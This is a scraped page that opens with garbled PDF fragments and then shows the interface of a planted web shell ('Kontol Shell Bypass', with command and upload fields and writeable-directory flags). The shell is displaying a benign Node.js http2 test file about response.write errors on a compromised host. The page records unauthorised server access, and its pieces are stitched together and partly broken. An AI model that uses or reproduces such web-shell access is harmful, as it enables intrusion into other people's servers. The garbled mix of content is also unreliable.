%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /proc/self/root/home/ubuntu/node-v16.18.1/test/parallel/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //proc/self/root/home/ubuntu/node-v16.18.1/test/parallel/test-http2-compat-serverresponse-write.js
'use strict';

const {
  mustCall,
  mustNotCall,
  hasCrypto,
  skip
} = require('../common');
if (!hasCrypto)
  skip('missing crypto');
const { createServer, connect } = require('http2');
const assert = require('assert');
{
  const server = createServer();
  server.listen(0, mustCall(() => {
    const port = server.address().port;
    const url = `http://localhost:${port}`;
    const client = connect(url, mustCall(() => {
      const request = client.request();
      request.resume();
      request.on('end', mustCall());
      request.on('close', mustCall(() => {
        client.close();
      }));
    }));

    server.once('request', mustCall((request, response) => {
      // response.write() returns true
      assert(response.write('muahaha', 'utf8', mustCall()));

      response.stream.close(0, mustCall(() => {
        response.on('error', mustNotCall());

        // response.write() without cb returns error
        response.write('muahaha', mustCall((err) => {
          assert.strictEqual(err.code, 'ERR_HTTP2_INVALID_STREAM');

          // response.write() with cb returns falsy value
          assert(!response.write('muahaha', mustCall()));

          client.destroy();
          server.close();
        }));
      }));
    }));
  }));
}

{
  // Http2ServerResponse.write ERR_STREAM_WRITE_AFTER_END
  const server = createServer();
  server.listen(0, mustCall(() => {
    const port = server.address().port;
    const url = `http://localhost:${port}`;
    const client = connect(url, mustCall(() => {
      const request = client.request();
      request.resume();
      request.on('end', mustCall());
      request.on('close', mustCall(() => {
        client.close();
      }));
    }));

    server.once('request', mustCall((request, response) => {
      response.end();
      response.write('asd', mustCall((err) => {
        assert.strictEqual(err.code, 'ERR_STREAM_WRITE_AFTER_END');
        client.destroy();
        server.close();
      }));
    }));
  }));
}

Kontol Shell Bypass